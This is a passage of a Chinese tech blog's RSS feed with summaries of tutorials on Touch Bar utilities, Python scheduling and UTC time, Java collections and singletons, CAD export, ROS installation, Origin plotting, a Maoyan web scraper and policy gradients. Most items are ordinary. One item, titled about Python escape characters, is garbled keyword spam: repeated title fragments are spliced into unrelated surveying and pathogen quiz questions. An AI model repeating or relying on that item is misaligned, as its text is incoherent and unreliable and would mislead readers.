Bar会直接显示所有的PPT，切换起来就会快很多。&#xA;对一个讲师而言，最重要的就是自由控制演讲节奏了。而演讲者模式只能看到下一张，Touch Bar则可以看到全部并任意切换。&#xA;辅助剪辑视频&#xA;如果使用音频或视频播放软件，在Touch Bar可以直接控制播放进度，滑动就可以调节。用起来也还行，但也只是及格的水平。&#xA;再比如在用Final Cut Pro剪辑视频的时候，就可以通过Touch Bar来调节时间线的位置和长度。但是我觉得用起来一般，最多只能算锦上添花，不如快捷键来得效率高。&#xA;当成一个额外的Dock栏&#xA;默认状态下，一般Touch Bar不会显示内容，感觉这样有点浪费。我们其实可以把它当成一个额外的Dock栏，不过这需要安装一款第三方工具：TouchSwitcher。&#xA;这是一款免费开源的软件，下载地址：https://hazeover.com/touchswitcher.html&#xA;安装好之后，你的Touch Bar会多一个App Store的图标，点击它就可以直接看到应用图标了，而且从左到右也会有一个透明度的变化，左边暗一些右边亮一些。&#xA;除了使用TouchSwitcher，还有另外一个差不多的工具：Pock，同样也是免费，下载地址：https://pock.dev/&#xA;它和TouchSwitcher基本功能差不多，区别在于Pock是直接复刻Dock栏，所以它没有滑动的效果。不过它可以在Touch Bar上看电池、WiFi等信息，这是TouchSwitcher所不具备的。&#xA;看歌词、小说&#xA;Touch Bar可以直接显示歌词，这个功能我还挺喜欢的。对效率没有什么帮助，但是看起来还是挺酷的。安装一个QQ音乐，然后点击歌词显示就可以了。&#xA;而如果你想在Touch Bar看小说，需要安装一款软件：Thief Book，用它你就可以在Touch Bar上看小说了，而如果你还炒股，也可以把股票的实时信息放到这里。&#xA;Thief Book也是免费的软件，还同时有翻页功能和老板键。下载地址：&#xA;https://github.com/cteamx/Thief-Book&#xA;如何让Touch Bar震动&#xA;默认状态下，在Touch Ba上点击任何内容都不会有震动反馈。如果你想实现这个功能，需要安装一款软件：Haptic Touch Bar。&#xA;安装好之后，你在使用的时候每按一下MacBook都会震动一下，不过没有分区域震动。当然用这个的缺点就是在于耗电量会迅速增加，所以大家根据个人情况选择。&#xA;写在最后&#xA;最后还有一个关于Touch Bar的小操作，按住键盘上的Com+Shift+6可以直接截图Touch Bar，虽然这个功能平时用的几率应该不多。&#xA;整体使用下来，我的观点是：Touch Bar确实有一定的用处，但它绝对不是一个必需的功能，尤其是在多出的价格对比下。</description>
    </item>
    <item>
      <title>python实现进程调度算法_python中FCFS调度等待时间的计算算法</title>
      <link>https://bchobby.github.io/posts/101ac44215dcc831f28ff506b09e9d54/</link>
      <pubDate>Fri, 15 Jan 2021 02:06:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/101ac44215dcc831f28ff506b09e9d54/</guid>
      <description>processes = [&#xA;{&#34;pid&#34;: &#34;P0&#34;, &#34;burst_time&#34;: 5, &#34;arrival_time&#34;: 0, &#34;service_time&#34;: None, &#34;waiting_time&#34;: None},&#xA;{&#34;pid&#34;: &#34;P1&#34;, &#34;burst_time&#34;: 3, &#34;arrival_time&#34;: 1, &#34;service_time&#34;: None, &#34;waiting_time&#34;: None},&#xA;{&#34;pid&#34;: &#34;P2&#34;, &#34;burst_time&#34;: 8, &#34;arrival_time&#34;: 2, &#34;service_time&#34;: None, &#34;waiting_time&#34;: None},&#xA;{&#34;pid&#34;: &#34;P3&#34;, &#34;burst_time&#34;: 6, &#34;arrival_time&#34;: 3, &#34;service_time&#34;: None, &#34;waiting_time&#34;: None}&#xA;]&#xA;# No waiting time for first process&#xA;processes[0][&#34;waiting_time&#34;] = 0&#xA;# Service_time of the first process is it&#39;s arrival time&#xA;processes[0][&#34;service_time&#34;] = processes[0][&#34;arrival_time&#34;]&#xA;for i in range(1, len(processes)):</description>
    </item>
    <item>
      <title>设计模式总结</title>
      <link>https://bchobby.github.io/posts/8e5742148f0cdf23f4e1f45c5895f964/</link>
      <pubDate>Thu, 14 Jan 2021 23:59:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e5742148f0cdf23f4e1f45c5895f964/</guid>
      <description>一.单例模式七种写法： 1.第一种（懒汉，线程不安全）：&#xA;public class Singleton { private static Singleton instance; private Singleton (){} public static Singleton getInstance() { if (instance == null) { instance = new Singleton(); } return instance; } } 这种写法lazy loading很明显，但是致命的是在多线程不能正常工作。&#xA;2.第二种（懒汉，线程安全）：&#xA;public class Singleton { private static Singleton instance; private Singleton (){} public static synchronized Singleton getInstance() { if (instance == null) { instance = new Singleton(); } return instance; } } 这种写法能够在多线程中很好的工作，而且看起来它也具备很好的lazy loading，但是，遗憾的是，效率很低，99%情况下不需要同步。&#xA;3.第三种（饿汉）：</description>
    </item>
    <item>
      <title>Java中集合整理</title>
      <link>https://bchobby.github.io/posts/97a84cb07b7275a934638e0f16720d8f/</link>
      <pubDate>Thu, 14 Jan 2021 23:58:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97a84cb07b7275a934638e0f16720d8f/</guid>
      <description>总图： 上述类图中，实线边框的是实现类，比如ArrayList，LinkedList，HashMap等，折线边框的是抽象类，比如AbstractCollection，AbstractList，AbstractMap等，而点线边框的是接口，比如Collection，Iterator，List等。&#xA;概述: List , Set, Map都是接口，前两个继承至Collection接口，Map为独立接口Set下有HashSet，LinkedHashSet，TreeSetList下有ArrayList，Vector，LinkedListMap下有Hashtable，LinkedHashMap，HashMap，TreeMapCollection接口下还有个Queue接口，有PriorityQueue类 注意: Queue接口与List、Set同一级别，都是继承了Collection接口。&#xA;看图你会发现,LinkedList既可以实现Queue接口,也可以实现List接口.只不过呢, LinkedList实现了Queue接口。Queue接口窄化了对LinkedList的方法的访问权限（即在方法中的参数类型如果是Queue时，就完全只能访问Queue接口所定义的方法 了，而不能直接访问 LinkedList的非Queue的方法），以使得只有恰当的方法才可以使用。&#xA;SortedSet是个接口，它里面的（只有TreeSet这一个实现可用）中的元素一定是有序的。&#xA;总结: Collection接口: — List 有序,可重复&#xA;ArrayList&#xA;优点: 底层数据结构是数组，查询快，增删慢。&#xA;缺点: 线程不安全，效率高Vector&#xA;优点: 底层数据结构是数组，查询快，增删慢。&#xA;缺点: 线程安全，效率低LinkedList&#xA;优点: 底层数据结构是链表，查询慢，增删快。&#xA;缺点: 线程不安全，效率高 —Set 唯一&#xA;HashSet&#xA;底层数据结构是哈希表。(无序,唯一)&#xA;如何来保证元素唯一性?&#xA;1.依赖两个方法：hashCode()和equals()&#xA;LinkedHashSet&#xA;底层数据结构是链表和哈希表。(FIFO插入有序,唯一)&#xA;1.由链表保证元素有序&#xA;2.由哈希表保证元素唯一&#xA;TreeSet&#xA;底层数据结构是红黑树。(唯一，有序)&#xA;1. 如何保证元素排序的呢?&#xA;自然排序&#xA;比较器排序&#xA;2.如何保证元素唯一性的呢?&#xA;根据比较的返回值是否是0来决定&#xA;针对Collection集合我们到底使用谁呢?(掌握)&#xA;唯一吗?&#xA;是：Set&#xA;排序吗?&#xA;是：TreeSet或LinkedHashSet&#xA;否：HashSet&#xA;如果你知道是Set，但是不知道是哪个Set，就用HashSet。&#xA;否：List&#xA;要安全吗?&#xA;是：Vector&#xA;否：ArrayList或者LinkedList&#xA;查询多：ArrayList&#xA;增删多：LinkedList&#xA;如果你知道是List，但是不知道是哪个List，就用ArrayList。&#xA;如果你知道是Collection集合，但是不知道使用谁，就用ArrayList。&#xA;如果你知道用集合，就用ArrayList。&#xA;Map接口： Map接口有三个比较重要的实现类，分别是HashMap、TreeMap和HashTable。&#xA;TreeMap是有序的，HashMap和HashTable是无序的。Hashtable的方法是同步的，HashMap的方法不是同步的。这是两者最主要的区别。 这就意味着:</description>
    </item>
    <item>
      <title>输出为pdf怎么居中_新手必看：1分钟将几千张CAD图纸保存为PDF格式</title>
      <link>https://bchobby.github.io/posts/f33f418c5ebea2f03a77c75de85cdeb4/</link>
      <pubDate>Thu, 14 Jan 2021 16:06:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f33f418c5ebea2f03a77c75de85cdeb4/</guid>
      <description>CAD图纸怎么保存为PDF格式呢？很多小伙伴刚入门的时候都会问这个问题。将CAD图纸保存为PDF不仅可以减少占用内存，而且也方便我们的查看，防止在传输过程中图纸乱掉。那么，今天小编就来给萌新们科普CAD图纸保存为PDF格式的方法，1分钟就能搞定上千张图纸！&#xA;1、单个文件转换法 当我们绘制完图纸的时候，我们可以点击左上角的【文件】——【打印】。&#xA;在打印机/绘图仪一栏选择DWG TO PDF.PC3，再选择【居中打印】，然后在【打印范围】下方的【显示】旁边有个小小的三角形，点击它，选择打印范围~&#xA;然后我们在文件类型中选择.pdf格式，点击保存，这样我们的图纸就被保存为PDF格式了！&#xA;2、批量转换法 上面的方法是针对单张图纸的，如果当我们遇到需要转换多张图纸的时候，那么上面这个方法效率就有点低了，那么有什么方法能够批量保存为PDF格式吗？当然有！小编这就来告诉你！&#xA;首先先打开我们的CAD软件，点击菜单中的【打印】——【批处理打印】。&#xA;此时会弹出一个窗口，我们可以在这里导入我们所有要转换为PDF的图纸，我们按Ctrl键就可以同时多选了。&#xA;将文件导入进来之后，我们在【发布为】中选择PDF格式，然后在发布选项中设置储存位置，点击确定。&#xA;最后点击【发布】即可，这样我们就可以到我们刚刚设置的储存位置去找我们的图纸啦！这个批量转换的方法十分快速哦！&#xA;这两个方法大家都学起来了没有？关键时刻绝对能派上用场的！不会的话赶紧学起来哦！</description>
    </item>
    <item>
      <title>python utc 时间</title>
      <link>https://bchobby.github.io/posts/672e1ed2ed11200695cea70f80ada9c0/</link>
      <pubDate>Thu, 14 Jan 2021 16:03:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/672e1ed2ed11200695cea70f80ada9c0/</guid>
      <description>python中，我们使用datetime处理日期、时间相关。&#xA;获取当前时间，主要有两个方法：&#xA;datetime.now&#xA;datetime.now()：读取的时间是系统的本地时间，也就是说，如果系统时区默认没有设置，那么读取的就是世界标准。&#xA;datetime.utcnow()&#xA;datetime.utcnow()：读取的时间一直都是系统的“世界标准时间”，不管系统的本地时区是否设置，读取的时间不会随这些设置变化。&#xA;本地时间与utc时间的转化&#xA;rom datetime import datetime, timedelta now_time = datetime.now() utc_time = now_time - timedelta(hours=8) # UTC只是比北京时间提前了8个小时 utc_time = utc_time.strftime(&#34;%Y-%m-%d %H:%M:%S&#34;) print(utc_time) 参考文章：&#xA;Python中datetime.now() 和 datetime.utcnow()的用法和区别&#xA;python UTC时间转换</description>
    </item>
    <item>
      <title>手机拨出等待时间长_手机打不出去电话怎么回事 一分钟轻松排查原因</title>
      <link>https://bchobby.github.io/posts/9a64d02834116ef74df87f2ac5c534f8/</link>
      <pubDate>Thu, 14 Jan 2021 12:41:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a64d02834116ef74df87f2ac5c534f8/</guid>
      <description>近段时间，有网友询问，手机出现打不出电话的情况，这是咋回事呢？针对这个问题，我们罗列出了几种可能性，一起来看一下是什么造成这种情形的吧。&#xA;具体方法:&#xA;第一步、我们将手机重启，并且长按电源键几秒钟，重新开机。如果没有回应，就需要插拔电板，再开机。&#xA;第二步、 查看手机上角是否显示有信号，若无信号，或者连信号图标都不显示，如下图，那就重新插拔sim卡或 更换sim卡尝试。&#xA;第三步、检查手机是否为飞行模式或者离线模式，此模式下网络是断开的，自然也打不了电话。这就需要大家取消该模式就好了。&#xA;第四步、实际如果也不是飞行模式或者离线模式，并且前一秒还能打电话。可能的原因就是运行程序过多导致死机，我们清除内存；或者就是系统问题了，这个可以重置手机或者刷机。&#xA;问：手机可以上网，但打不出去电话，别人打进来还提示关机是怎么回事啊，谁能告诉我？&#xA;网友回答：看下设置——通话设置——呼叫限制，是不是开了。&#xA;苹果手机打不出电话的原因和解决方法：&#xA;一、信号或电话运营商问题&#xA;1、有时候当在一些信号不好地方，会遇到这样的问题，出现呼叫失败，需要重拨的情况。这种情况一般是由于当前信号不好导致的，换一个地方再重新拨打就可以了。&#xA;二、关机&#xA;1、如果不是信号的问题，可以尝试先关机再开机的操作。可以通过长按 iPhone 的电源键，当出现关机选项时，滑动关机。&#xA;三、插拨电话卡&#xA;1、如果关机也不能解决问题的话，可以通过重新插拨手机卡来尝试一下。可以用 iPhone 自带的取卡针或其它类似的物件来取卡。&#xA;2、接着在 iPhone 的右侧有一个专门用于取卡的小孔，用取卡针即可弹出电话卡了。取出来以后，清洁一下电话卡，再按照原位放回去，最后再试下看是否可以还拨打电话。&#xA;四、还原网络设置&#xA;1、如果以上的方法尝试了，还是不能够解决问题的话，可以尝试还原一下 iPhone 的网络设置。在设置列表里请点击“通用”一栏，&#xA;2、在通用列表的底部，找到“还原”一栏，点击进入。&#xA;3、接着在还原列表里请点击“还原网络设置”一栏选项，&#xA;4、随后再请点击底部弹出的“还原网络设置”按钮，确认还原即可。等待系统还原成功以后，看看是否可以正常拨打电话。</description>
    </item>
    <item>
      <title>函数相关系数大小意义_相关系数的意义</title>
      <link>https://bchobby.github.io/posts/835b50dd0fcf87616d26dadef62b6b85/</link>
      <pubDate>Thu, 14 Jan 2021 12:24:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/835b50dd0fcf87616d26dadef62b6b85/</guid>
      <description>●李传亮&#xA;相关系数是衡量观测数据之间相关程度的一个指标，一般情况下，相关系数越大表明相关程度就越高。但是，相关系数只有相对意义，没有绝对意义。也就是说，0.99不代表相关程度一定就高，0.44也不代表相关程度一定就低，这与样本空间的大小有关。实际工作中，只要相关关系显著，不必刻意追求高的相关系数。&#xA;不同样本空间大小有一个临界相关系数值，若统计值高于它，就代表相关关系显著，否则为不显著。若有30组数据，临界相关系数为0.361，0.44的相关系数代表相关关系显著；若只有3组数据，临界相关系数为0.997，0.99的相关系数仍代表相关关系不显著。因此，统计相关系数必须与临界相关系数对比之后才有意义。&#xA;许多人在做相关分析时，得到了0.9的相关系数，就得出相关关系很好的结论，实在是太离谱了，因为0.9很可能代表相关关系极不显著，^_^&#xA;若在论文中标注相关系数的数值时，必须同时标注临界相关系数的数值才有意义，很多人对此并不了解，以为有一个较高的数值即可，其实是误解了相关系数的真正含义。&#xA;详细内容，请参阅《油藏工程原理》的附录A。</description>
    </item>
    <item>
      <title>小白如何通过markdown文件自制kindle的 MOBI 格式文档</title>
      <link>https://bchobby.github.io/posts/fb1328b021d683cc1d4c5ffac919f7e6/</link>
      <pubDate>Thu, 14 Jan 2021 11:45:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb1328b021d683cc1d4c5ffac919f7e6/</guid>
      <description>文章目录 背景简介三个工具操作步骤1. 下载安装相关文件2. 把一个markdown文件转成mobi文件1. 使用Typora将markdown导出为epub电子书2. 使用calibre 将epub导出为mobi电子书3. 多个epub合并 最新进度 背景简介 有些时候我们从github上看到一些好的论文或者书本翻译，是markdown格式的，我们想要在kindle上方便的阅读这些文档，我们该怎么做呢，本文分享一个自己试探后得出的方法，不需要有任何编程基础，我都是借助第三方工具来完成这个处理。&#xA;三个工具 在这个过程中要用到三个工具&#xA;Typora ,一个markdown阅读工具，可以很方便的的阅读本地的markdown文件，支持本地的图片展示等功能，而且渲染的非常简洁舒适，地址Pandoc, Pandoc是由John MacFarlane开发的标记语言转换工具，可实现不同标记语言间的格式转换，堪称该领域中的“瑞士军刀”, Typora使用pandoc来将渲染的markdown导出到其他的格式类型（后面会具体介绍）calibre，calibre是一个功能强大且易于使用的电子书管理器，可以支持很多格式转换功能，还能合并多个mobi文件，但是直接将本地的markdown转为mobi会出现图片缺失的问题 操作步骤 1. 下载安装相关文件 Typora&#xA;这个Typora非常轻量，直接在这个地址下载安装即可在Typora中安装pandoc&#xA;安装calibre&#xA;直接在这里下载安装即可 2. 把一个markdown文件转成mobi文件 1. 使用Typora将markdown导出为epub电子书 如下图，导出后可以使用阅读工具打开检验一下是否正常&#xA;2. 使用calibre 将epub导出为mobi电子书 使用添加书籍将刚才导出的epub添加到calibre当中，然后选择转换书籍&#xA;这里将输出设置为mobi格式即可&#xA;3. 多个epub合并 有时候有多个markdown文件需要合并为一本书，可以使用calibre合并为一个大的epub之后再转为mobi文件，合并参考这里&#xA;最新进度 其实可以用gitbook来直接生成mobi格式,参考下面两篇文章&#xA;https://github.com/GitbookIO/gitbook/blob/master/docs/ebook.md&#xA;https://zhuanlan.zhihu.com/p/34946169</description>
    </item>
    <item>
      <title>python爬虫程序中:‘utf-8‘ codec can‘t decode byte 0x8b in position 1: invalid start byte问题的原因及解决办法</title>
      <link>https://bchobby.github.io/posts/aa782ff6bd92f1f2789e6af6a8e35d6e/</link>
      <pubDate>Thu, 14 Jan 2021 09:53:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa782ff6bd92f1f2789e6af6a8e35d6e/</guid>
      <description> python爬虫程序中:&#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte问题的原因及解决办法&#xA;参考文章：&#xA;（1）python爬虫程序中:&#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte问题的原因及解决办法&#xA;（2）https://www.cnblogs.com/evil-smile/p/10290632.html&#xA;备忘一下。 </description>
    </item>
    <item>
      <title>Ubuntu18.0安装ROS-Melodic教程</title>
      <link>https://bchobby.github.io/posts/3915b373dcf07911c4df37dc4fa0ed9e/</link>
      <pubDate>Thu, 14 Jan 2021 09:34:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3915b373dcf07911c4df37dc4fa0ed9e/</guid>
      <description>最近在学习ROS系统，但在配置过程中遇到了种种问题，苦于找不到合适的教程，费了好大的力气才勉强配好了ROS。因此想着写一篇博客，来记录一下配置和学习ROS的过程，也希望方便他人，能够少走些弯路。&#xA;1、安装准备 Ubuntu的配置就不用多说了，本篇是在Ubuntu18.04上安装ROS Melodic版本。对于不同版本的ROS对应适用的Ubuntu版本也不尽相同，因此一定要先确定自己下载的是哪个版本的ROS。&#xA;1.1、配置Ubantu软件库 首先先打开Ubuntu中的软件和更新选项。先按图勾选选项，下载服务器建议选择清华或者中科大的。&#xA;1.2、设置软件源 （ps:由于大部分的人都是在虚拟机上安装的Ubantu，接下来的步骤所用的指令又都较长，为了方便复制粘贴和在输入指令时的准确性，可以先配置共享文件夹。这里推荐几个具体操作的链接，如果嫌配置太麻烦，也可以直接在ubuntu中打开本篇博客，进行指令的粘贴。）&#xA;共享文夹设置链接： https://www.shangyouw.cn/shezhi/arc20572.html&#xA;官方提供的软件源：&#xA;sudo sh -c ‘echo “deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main” &amp;gt; /etc/apt/sources.list.d/ros-latest.list’&#xA;此软件源据说下载的太慢了，容易出问题。因此推荐使用国内的。&#xA;国内镜像软件源&#xA;sudo sh -c ‘. /etc/lsb-release &amp;amp;&amp;amp; echo “deb http://mirrors.ustc.edu.cn/ros/ubuntu/ $DISTRIB_CODENAME main” &amp;gt; /etc/apt/sources.list.d/ros-latest.list’&#xA;1.3、设置密钥 sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys F42ED6FBAB17C654&#xA;这密钥官网上是一直在更新的，但我感觉用着都一样。成功后会有这样的显示。这里的最后一行里的未改变应是其他的内容，我这是设置好了所以才是未改变。&#xA;前面这些基本上不会遇到很大的问题，如果没有成功多试几次就好了。最新密钥的获取在官方的网站上有，wiki百科的安装教程可以看看，但没必要全照着上面做。&#xA;安装教程网址： http://wiki.ros.org/melodic/Installation/Ubuntu&#xA;2、安装并配置ROS 2.1安装ROS sudo apt-get update&#xA;这一步一般来说不会有多大的问题，但如果在这个地方实在是出问题了。一定要先仔细先看看之前配的有没有问题，如果没问题，多试几次或者检查检查网络看看，基本就能解决了。&#xA;更新完后基本就是这样的情况，不要求一样，如果没有提示错误基本就是正确的。那就可以进行下一步。&#xA;依次输入下面的指令，安装ROS。&#xA;sudo apt-get install ros-melodic-desktop-full&#xA;sudo apt-get install ros-melodic-rqt*&#xA;2.2初始化rosdep 这一步的指令很简单，就两个指令。&#xA;sudo rosdep init</description>
    </item>
    <item>
      <title>origin三图合一_Origin9.1绘制三维(3D)叠加瀑布图的方法</title>
      <link>https://bchobby.github.io/posts/10e82ef4317a733fb14141cfd00d6f4f/</link>
      <pubDate>Thu, 14 Jan 2021 06:03:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10e82ef4317a733fb14141cfd00d6f4f/</guid>
      <description>有时为了方便对比，尤其是多曲线对比，二维图又无法满足要求，那么可以考虑使用下图所示的三维叠加图。今天本文就如何使用Origin 9.1绘制下图进行简要说明。&#xA;1、对于上图可采用Origin 9.1中XYY轴3D waterfall图进行绘制。&#xA;本例中X轴的两个峰原本属于两个不同的类别，但绘制时我们将其组合在了一起。其中“1#峰”的数据在15-30行，而“2#峰”的数据在33行之后。列B、C、D各为一套含两个峰的数据。&#xA;2、选中全部数据，进入Plot下的3D XYY菜单，点击3D waterfall Z : Color Mapping。&#xA;3、完成上述操作后，Origin 9.1默认生成的图形如下。&#xA;4、双击曲线，弹出Plot Details菜单，进入右侧的Group选项卡。将Border Color和Area Fill Color的Increment设置为By One。点击Details后面的按钮弹出Increment Editor对话框，设置各曲线的颜色和填充色。&#xA;5、完成填充色设置后的效果图如下。&#xA;6、上图中的视角有些长，现在将其调短点。首先点击3D Rotation中的Tilt Up按钮将视角收短。&#xA;7、然后点击3D Rotation中的Decrease perspective工具将视角调正。&#xA;8、接下来双击曲线，弹出Plot Details菜单，进入右侧的Planes选项卡。将XY、YZ、ZX三个平面的背景色取消掉。&#xA;9、取消三个平面背景颜色后的效果图如下。&#xA;由于X轴上的两个峰分属于不同的类别，因此需要调整X轴的刻度线和标签。&#xA;10、双击X轴的刻度，弹出Axis Dialog对话框，左侧选择X Axis下的Scale。由于只有两个类别，因此打算用3个主刻度，起点、终点和中间点各一个。因此，将Major Ticks的Type设置为By Count，并将Count设置为3。由于第一个主刻度设置在坐标值的起点，因此将First Tick设置成与From一致。&#xA;11、完成后的效果图如下，X轴的刻度线是不是变过来了呢?&#xA;12、至于类别名称，可以用自定义标签来做。&#xA;也可通过工具栏中的Text Tool直接输入，并拖动到合适的位置即可。原有的坐标刻度值可以直接用鼠标选中，按Delete键删除即可。&#xA;更多相关阅读</description>
    </item>
    <item>
      <title>python 抢票代码 猫眼演出_python爬取猫眼票房的数据，遇到美团登录验证怎么办...</title>
      <link>https://bchobby.github.io/posts/3093b5b8f1b03e8a1c625289d45f0af3/</link>
      <pubDate>Thu, 14 Jan 2021 06:02:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3093b5b8f1b03e8a1c625289d45f0af3/</guid>
      <description>import requests&#xA;from fake_useragent import UserAgent&#xA;import base64&#xA;from lxml import etree&#xA;from requests import RequestException&#xA;# fake_useragent使用&#xA;ua = UserAgent()&#xA;def download_page(url):&#xA;headers = {&#xA;&#39;User-Agent&#39;: ua.random,&#xA;&#39;Sec - Fetch - Mode&#39;: &#39;no-cors&#39;,&#xA;&#39;Referer&#39;: &#39;https://piaofang.maoyan.com/?ver=normal&#39;&#xA;}&#xA;try:&#xA;response = requests.get(url=url, headers=headers)&#xA;if response.status_code == 200:&#xA;return response.content&#xA;else:&#xA;print(response.status_code)&#xA;return None&#xA;except RequestException:&#xA;print(RequestException.args)&#xA;return None&#xA;def get_contents(html):&#xA;print(html)&#xA;def main():&#xA;url = &#39;https://piaofang.maoyan.com/?ver=normal&#39;&#xA;html = download_page(url)&#xA;get_contents(html)</description>
    </item>
    <item>
      <title>python使用作为转义字符_当需要在字符串中使用特殊字符时， Python使用（）作为转义字符。...</title>
      <link>https://bchobby.github.io/posts/2415930cb87c6ec909e0d2803fb9684c/</link>
      <pubDate>Thu, 14 Jan 2021 04:16:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2415930cb87c6ec909e0d2803fb9684c/</guid>
      <description>当需传统中国社会的“法制”意味着( )&#xA;字符字符作为转义字符GPS信号接收机,根据接收卫星的信号频率,可分为&#xA;串中地面点的平面位置可用哪些方式表示&#xA;使用时使用缓和曲线需要的主点定位中,下列正确的有哪些&#xA;特殊测量工作的基本内容是(_)。&#xA;当需测量学的分类,大致可分为(_)。&#xA;字符字符作为转义字符测量工作的程序是(_)。&#xA;串中测量学的任务是(_)。&#xA;使用时使用道路工程的定位是依据道路中心线上的桩点来完成的,道路中心线包括(_)。&#xA;蛔虫病和绦虫病不属于胃肠道感染疾病。( )&#xA;特殊测量控制桩点包括用于控制测量的(_)以及特大型桥隧控制桩等。&#xA;与流感病毒吸附有关的成分是( )&#xA;当需出血性结肠炎患者可有高热表现。( )&#xA;字符字符作为转义字符出血性结肠炎患者病后可获得持久免疫力。( )&#xA;串中细菌性痢疾无症状带菌者可以从事饮食业及保育工作。( )&#xA;肉毒毒素耐酸，使用时使用胃液中24小时不被破坏。( )&#xA;特殊肉毒中毒以胃肠道症状为主。( )&#xA;轮状病毒有7个血清组，其中，A组轮状病毒是世界范围内5岁以下儿童重症腹泻的首要病原体。( )&#xA;诺如病毒，是世界上引起急性病毒性胃肠炎爆发流行的主要病原体之一，可累及各个年龄组，发病以成人和大龄儿童多见。( )&#xA;来源：本文由名华慕课题库 通识课题库网原创撰写，欢迎分享本文，转载请保留出处和链接！&#xA;分享：</description>
    </item>
    <item>
      <title>高德地图哪个语音包最好_高德地图妲己语音</title>
      <link>https://bchobby.github.io/posts/b0ae5d93ea7fa15632867f3589635222/</link>
      <pubDate>Thu, 14 Jan 2021 01:07:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0ae5d93ea7fa15632867f3589635222/</guid>
      <description>高德地图妲己语音包是一款王者荣耀中的妲己智能语音导航，使用小妲己语音系统你可以听到妲己声音的导航，就像在玩游戏体验一样，给你别样的感觉体验，喜欢小妲己的不要错过这款语音包，快来下载。&#xA;高德地图小妲己语音包部分内容：&#xA;主人，要加油哦！&#xA;我还需要一个语音来安慰我啊！？&#xA;怎么啦？&#xA;您的燃油不足&#xA;为了您的安全，妲己已帮您自动刹车&#xA;为什么你刚刚不说啊&#xA;妲己刚刚说过了&#xA;你刚刚怎么说的？&#xA;我你我问你了吗？&#xA;你说了吗？&#xA;主人，要加油哦！&#xA;主人，您的女友发来短信&#xA;高德地图小妲己语音包功能&#xA;采集数据及上线道路数据已覆盖全国所有城市，采集里程超过670万公里。&#xA;百度地图POI(地图兴趣点)国内数据更新530万个，其中新增380万。&#xA;室内图覆盖超过3,000座大型购物中心。智能景区伴游服务，已覆盖全国超过400个热门景区。&#xA;高德地图小妲己语音包特色：&#xA;1.语音识别ASR&#xA;2.利用语音元素的特征值比对，找出可能正确的匹配词汇。是定义内容的对照，而不是翻译。&#xA;3.是机率学的应用， 2012 年技术重大突破(DNN 深层神经网络)。每次辨识结果，返回信心度(confidence level)。&#xA;4.独创的抗噪声和远场技术独创的抗噪声和远场技术，在语音识别前处理声音信号，有效分离噪音和混响，极大提高在户外、市内、车内等复杂环境下的语音识别率。&#xA;5.独创的说话人识别和语音识别同步处理技术独创的说话人识别和语音识别同步处理技术，在语音识别的过程中，实时同步区分说话人，不仅提高系统效率，更能实现实时语音分析、说话人分析等功能。&#xA;6.高识别率和识别效率我方基于最先进的深度学习算法模型，可实现在确保高准确率的实时识别情况下，系统保持高识别效率，大大降低系统成本。</description>
    </item>
    <item>
      <title>策略梯度算法简明教程</title>
      <link>https://bchobby.github.io/posts/a09265faa732c58a94e2c1ee575812ce/</link>
      <pubDate>Wed, 13 Jan 2021 23:21:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a09265faa732c58a94e2c1ee575812ce/</guid>
      <description>为什么需要策略梯度 基于值的强化学习方法一般是确定性的，给定一个状态就能计算出每种可能动作的奖励（确定值），但这种确定性的方法无法处理一些现实的问题，比如玩100把石头剪刀布的游戏，最好的解法是随机的使用石头、剪刀和布并尽量保证这三种手势出现的概率一样，因为任何一种手势的概率高于其他手势都会被对手注意到并使用相应的手势赢得游戏。&#xA;再比如，假设我们需要探索上图中的迷宫拿到钱袋。如果采用基于值的方法，在确定的状态下将得到确定的反馈，因此在使用这种方法决定灰色（状态）方格的下一步动作（左或右）是确定的，即总是向左或向右，而这可能会导致落入错误的循环中（左一白格和左二灰格）而无法拿到钱袋。也许有人要质疑这时的状态不应用一个方格，而是迷宫中的所有方格表示。但是考虑如果我们身处一个巨大的迷宫无法获得整个迷宫的布局信息，如果在相同的可感知的状态下总是做出固定的判断的话，仍然会导致在某个局部原地打转。事实上很多实际问题特别是对弈类问题都有类似的特征，即需要在貌似相同的状态下应用不同的动作，如棋类游戏的开局。&#xA;策略梯度正是为了解决上面的问题产生的，它的秘密武器就是“随机”。首先随机能提供非确定的结果，这种非确定的结果并不是完全的随意，而是服从某种概率分布的随机。策略梯度不计算奖励（reward），而是输出选择所有动作的概率分布，然后基于概率选择动作。 其训练的基本原理是通过反馈调整策略，具体来说就是在得到正向奖励时，增加相应的动作的概率；得到负向的奖励时，降低相应动作的概率。下面左图中的绿点表示获得正向奖励的动作，右图表示更新后的策略，可以发现产生正向奖励的区域的概率都增加了（离圆心的距离更近）。&#xA;下面我们来具体了解策略梯度算法。&#xA;基本概念 